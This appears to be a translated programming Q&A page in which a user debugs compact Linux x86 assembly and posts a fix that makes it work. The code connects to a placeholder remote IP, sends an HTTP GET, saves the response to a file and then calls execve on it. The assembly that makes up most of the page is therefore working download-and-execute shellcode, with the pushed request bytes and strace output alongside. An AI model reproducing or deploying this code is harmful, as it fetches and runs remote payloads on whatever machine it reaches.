Spe*_*les 1 linux x86 assembly http
我已经花了好几个小时让这个汇编代码工作了。我搜索了我能找到的所有可能的文章。
.section .text
.global _start
_start:
push $0x66
popl %eax
cdq
pushl $0x1
popl %ebx
pushl %edx
pushl %ebx
pushl $0x2
movl %esp, %ecx
int $0x80
popl %ebx
popl %esi
pushl $0xdeadbeef # replace with inet_addr() result
movl $0xaffffffd, %ebp # ~(0080|AF_INET)
not %ebp
pushl %ebp
incl %ebx
pushl $0x10
pushl %ecx
pushl %eax
movb $0x66, %al
movl %esp, %ecx
int $0x80
popl %edi
_open_file:
movb $0x8, %al
pushl %edx
pushl $0x41
movl %esp, %ebx
pushl %eax
popl %ecx
int $0x80
xchg %eax, %esi
xchg %ebx, %edi
_gen_http_request:
#
# < use gen_httpreq.c, to generate a HTTP GET request. >
#
_gen_http_eof:
movb $0x4, %al
_send_http_request:
movl %esp, %ecx
int $0x80
cdq
incl %edx
_wait_for_dbl_crlf:
decl %ecx
movb $0x3, %al
int $0x80
cmpl $0x0d0a0d0a, (%ecx)
jne _wait_for_dbl_crlf
_pre_dump_loop:
movb $0x4, %dl
_dump_loop_do_read:
movb $0x3, %al
clc
_dump_loop_do_write:
int $0x80
xchg %ebx, %esi
jc _dump_loop_do_read
test %eax, %eax
jz _close_file
movb $0x4, %al
stc
jmp _dump_loop_do_write
_close_file:
movb $0x6, %al
int $0x80
_execve_file:
cdq
movb $0xb, %al
movl %edi, %ebx
pushl %edx
pushl %ebx
jmp _send_http_request
Run Code Online (Sandbox Code Playgroud)
我已经使用它gen_httpreq.c来生成发送到服务器的 HTTP 请求。
我的问题似乎是套接字从未建立。我观察 netstat 输出,当我执行上面的代码时,我根本没有得到任何连接。我很好奇是否有具体的方法可以做到这一点。
另外,我尝试在另一个 shell 中运行 netcat 并侦听端口 80,只是为了查看 netstat 是否没有建立连接,但没有任何结果。
这是我的 HTTP 请求。
pushl $0x0d0a0d0a
pushl $0x2f312e30
pushl $0x48545450
pushl $0x696c6520
pushl $0x2f2f2f66
pushl $0x47455420
Run Code Online (Sandbox Code Playgroud)
当我在 下执行它时strace,我得到:
execve("./ht", ["./ht"], [/* 19 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8081), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(3, "", 0) = 0
read(3, 0xffc59c8c, 1) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
Run Code Online (Sandbox Code Playgroud)
它只是挂起,似乎什么也没做。
如果有另一种方法可以像这样下载文件,例如发送 HTTP 请求,然后读取该请求的输出。
所以基本上我会这样做:
./download > newfile
我找不到关于这个主题的任何其他内容,因为它非常小。谢谢你的帮助!
我已经弄清楚问题是什么了。当您使用该程序生成 HTTP 请求时,它会返回所有的 Pushl,但最后不会返回必要的 movb。
我添加了 movb $0x14,%dl 并且它工作得很好